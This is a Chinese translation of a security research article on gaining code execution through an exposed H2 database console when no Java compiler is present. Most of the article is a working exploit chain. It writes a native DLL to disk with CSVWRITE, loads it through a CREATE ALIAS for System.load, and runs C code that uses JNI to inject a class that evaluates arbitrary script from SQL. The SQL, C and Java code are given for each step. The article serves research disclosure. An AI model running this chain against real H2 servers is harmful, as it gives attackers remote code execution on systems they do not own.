利用原生库和JNI(Java原生接口)实现H2数据库漏洞利用 – 作者:secist

在H2数据库引擎中获取代码执行权限的技术早已是众所周知,但有个要求就是H2能够动态编译Java代码。而本文将向大家展示以前没有公开过的利用H2的方法,并且无需使用Java编译器,即通过原生库和JNI(Java原生接口)实现H2数据库漏洞的利用 。

介绍

上周,Doyensec的Andrea Brancaleoni发表了一篇关于jackson gadgets-漏洞剖析的博文。它描述了如果LogbackH2数据库引擎库可用,如何利用Jackson库中基于setter的漏洞。简而言之,就是利用H2的特性,使用Java代码 创建用户定义的函数,并使用Java编译器动态编译这些函数。

但如果Java编译器不可用呢?这是在最近的一次参与中遇到的情况,Windows系统上的H2数据库引擎实例版本1.2.141公开了其Web控制台。我们希望通过使用原生库(.dll或.so)和Java原生接口(JNI),找到一种新的方法来执行任意Java代码,而无需在目标服务器上使用Java编译器。

H2 能力评估

假设我们不能使用CREATE ALIAS … AS … 命令,因为Java编译器不可用。原因可能是它不是Java Development Kit(JDK)而是Java Runtime Environment(JRE),因此没有编译器。或是由于未正确设置PATH环境变量,导致无法找到Java编译器javac。

但是,CREATE ALIAS … FOR …  命令可以使用:

当引用一个方法时,类必须已经被编译并包含在运行数据库的类路径中。仅支持静态Java方法;类和方法都必须是公共的。

因此各个公共静态方法都可以使用。最坏的情况是,只有h2-1.2.141.jar和JRE可用。此外,只有受支持的数据类型可用于嵌套函数调用。

在Java运行时库rt.jar中浏览candidates时,我们发现System.load(String)方法允许加载原生库。这意味着我们可以通过库的入口点函数来执行代码。

但如何将库加载到H2服务器上呢?虽然Windows上的Java支持UNC路径并提取文件,但其拒绝实际加载它。而且这在Linux上也不起作用。那么,如何将文件写入H2服务器呢?

使用 H2 写入任意文件

在查看和研究了一些H2函数后,我们发现了一个FILE_WRITE文件写入函数。不幸的是,FILE_WRITE是在1.4.190中引入的。而我们需要的是在1.2.141中可用的函数。最终我们找到了一个名为CSVWRITE的函数,这也是唯一一个名称中带“ write”的函数。

快速测试显示了CSV列标头也被打印了出来。查看CSV选项,可以看到有一个writeColumnHeader选项可用于禁用写入列标头。不幸的是,writeColumnHeader选项仅被添加在了1.3/1.4.177上

但是在查看其他受支持的选项fieldSeparator,fieldDelimiter,escape,null和lineSeparator时,我蹦出了一个想法:如果我们将它们全部清空,并使用CSV列标头写入我们的数据,会怎样?如果H2数据库引擎允许列具有任意长度的任意名称,那么我们就能够写入任意数据。

查看H2的列语法,列的columnName可以是带引号的名称,定义如下:

” anything ” 
带引号的名称区分大小写,并且可以包含空格。没有最大名称长度。两个双引号可用于在标识符内创建一个单双引号。

这听起来很完美。让我们看看我们是否可以在其中放入任意内容,以及CSVWRITE是否具有二进制安全机制。

首先,让我们生成涵盖所有8-bit octet的测试数据:

$ python -c 'import sys;[sys.stdout.write(chr(i)) for i in range(0,256)]' > test.bin
$ sha1sum test.bin
4916d6bdb7f78e6803698cab32d1586ea457dfc8  test.bin

现在我们生成一系列CHAR(n)函数调用,它们将在SQL查询中生成我们的二进制数据:

xxd -p -c 256 test.bin | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'

然后,我们在以下CSVWRITE调用中使用它:

SELECT CSVWRITE('C:\Windows\Temp\test.bin', CONCAT('SELECT NULL "', … , '"'), 'ISO-8859-1', '', '', '', '', '');

最后,我们测试写入的文件是否具有相同的校验和:

C:\Windows\Temp> certutil -hashfile test.bin SHA1
SHA1 hash of file test.bin:
49 16 d6 bd b7 f7 8e 68 03 69 8c ab 32 d1 58 6e a4 57 df c8
CertUtil: -hashfile command completed successfully.

可以看到,文件应该是相同的!

进入原生世界

既然我们可以使用内置函数CSVWRITE,将原生库写入磁盘并通过为System.load(String)创建别名来加载它,我们就可以使用库的入口点来实现代码执行。

让我们更进一步,看看是否有办法从SQL执行任意命令/代码。

Java Native Interface(JNI)允许原生代码和Java虚拟机(JVM)之间的交互。因此,在这种情况下,它将允许我们与运行H2数据库的JVM进行交互。

现在,我的想法是使用JNI通过ClassLoader.defineClass(byte[], int, int)将自定义Java类注入到运行的JVM中。这将允许我们创建一个别名并从SQL调用它。

使用 JNI 调用 JVM

首先,我们需要获得正在运行的JVM的句柄。这可以通过JNI_GetCreatedJavaVMs函数来完成。然后,将当前线程附加到VM,并获得JNI接口指针(JNIEnv)。 使用该指针,我们可以与JVM交互并调用JNI函数,例如FindClass, GetStaticMethodID/GetMethodID> 和 CallStatic<Type>Method/Call<Type>Method。 计划是通过ClassLoader.getSystemClassLoader()获取系统类加载器并调用defineClass:

// xxd -p -c 10000 bin/JNIScriptEngine.class | sed -e 's/../0x&,/g' -e 's/^/char buf[] = {/' -e 's/,$/};/'
// public static JNIScriptEngine.eval(String js) : String
char buf[] = { /* ... */ };
size_t bufLen = sizeof(buf);
jbyteArray jData = (*g_env)->NewByteArray(g_env, bufLen);
(*g_env)->SetByteArrayRegion(g_env, jData, 0, bufLen, (jbyte*)buf);
JNIEnv * g_env;
JavaVM* g_vm;
jsize num_vms = 0;
jint result = JNI_GetCreatedJavaVMs(&g_vm, 1, &num_vms);
int getEnvStat = (*g_vm)->GetEnv(g_vm, (void **)&g_env, JNI_VERSION_1_6);
if (getEnvStat == JNI_EDETACHED) {
  // printf("GetEnv: not attached\n");
  if ((*g_vm)->AttachCurrentThread(g_vm, (void **) &g_env, NULL) != 0) {
    // printf("Failed to attach\n");
  }
} else if (getEnvStat == JNI_OK) {
  // printf("GetEnv: everything's fine\n");
} else if (getEnvStat == JNI_EVERSION) {
  // printf("GetEnv: version not supported\n");
}
jclass cls;
jmethodID meth;
jobject obj;
cls = (*g_env)->FindClass(g_env, "java/lang/ClassLoader");
// static java.lang.ClassLoader.getSystemClassLoader() : java.lang.ClassLoader
meth = (*g_env)->GetStaticMethodID(g_env, cls, "getSystemClassLoader", "()Ljava/lang/ClassLoader;");
jobject systemClassLoader = (*g_env)->CallStaticObjectMethod(g_env, cls, meth);
// java.lang.ClassLoader.defineClass(byte[], int, int) : java.lang.Class
meth = (*g_env)->GetMethodID(g_env, cls, "defineClass", "([BII)Ljava/lang/Class;");
jobject loadedClass = (*g_env)->CallObjectMethod(g_env, systemClassLoader, meth, jData, 0, (jint)bufLen);
(*g_env)->DeleteLocalRef(g_env, jData);
(*g_vm)->DetachCurrentThread(g_vm);

这基本上是模仿了以下Java代码:

Class cls = Class.forName("java.lang.ClassLoader");
Method meth = cls.getDeclaredMethod("getSystemClassLoader", new Class[0]);
Object systemClassLoader = meth.invoke(null, new Object[0]);
meth = cls.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
meth.setAccessible(true);
meth.invoke(systemClassLoader, new Object[] { jData, 0, jData.length });

自定义Java类JNIScriptEngine只有一个公共静态方法,它使用可用的ScriptEngine实例评估传递的脚本:

public class JNIScriptEngine {
  public static String eval(String script) throws Exception {
    return new javax.script.ScriptEngineManager().getEngineFactories().get(0).getScriptEngine().eval(script).toString();
  }
}

最终,整合在一起的代码如下:

-- write native library
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', ... , '"'), 'ISO-8859-1', '', '', '', '', '');
-- load native library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');
-- evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('7*191');

这样我们就可以从SQL执行任意的JavaScript代码了。

*参考来源:codewhitesec,FB小编secist编译,转载请注明来自FreeBuf.COM

来源:freebuf.com 2019-10-25 13:00:01 by: secist

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论